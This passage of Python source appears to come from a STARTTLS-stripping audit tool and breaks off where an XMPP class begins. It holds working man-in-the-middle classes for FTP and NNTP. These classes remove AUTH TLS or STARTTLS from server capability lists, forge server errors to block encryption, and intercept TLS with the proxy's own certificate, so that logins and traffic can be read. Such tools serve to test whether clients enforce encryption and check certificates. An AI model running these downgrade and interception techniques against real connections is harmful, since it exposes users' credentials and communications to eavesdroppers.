elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class FTP:
_PROTO_ID = 21
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce AUTH TLS support
2) raise exception if client tries to negotiated AUTH TLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if session.outbound.sndbuf.strip().lower()=="feat" \
and "AUTH TLS" in data:
features = (f for f in data.strip().split('\n') if not "AUTH TLS" in f)
data = '\n'.join(features)+"\r\n"
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "USER " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending AUTH TLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
session.inbound.sendall("500 AUTH TLS not understood\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("500 AUTH TLS not understood\r\n")))
data=None
elif "USER " in data:
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
# do inbound STARTTLS
session.inbound.sendall("234 OK Begin TLS negotation now\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("234 OK Begin TLS negotation now\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not resp_data.startswith("234"):
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "USER " in data:
rewrite.set_result(session, True)
return data
class NNTP:
_PROTO_ID = 119
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if session.outbound.sndbuf.strip().lower()=="capabilities" \
and "STARTTLS" in data:
features = (f for f in data.strip().split('\n') if not "STARTTLS" in f)
data = '\n'.join(features)+"\r\n"
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("502 Command unavailable\r\n") # or 580 Can not initiate TLS negotiation
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("502 Command unavailable\r\n")))
data=None
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("382 Continue with TLS negotiation\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("382 Continue with TLS negotiation\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not resp_data.startswith("382"):
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class XMPP:
_PROTO_ID = 5222
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support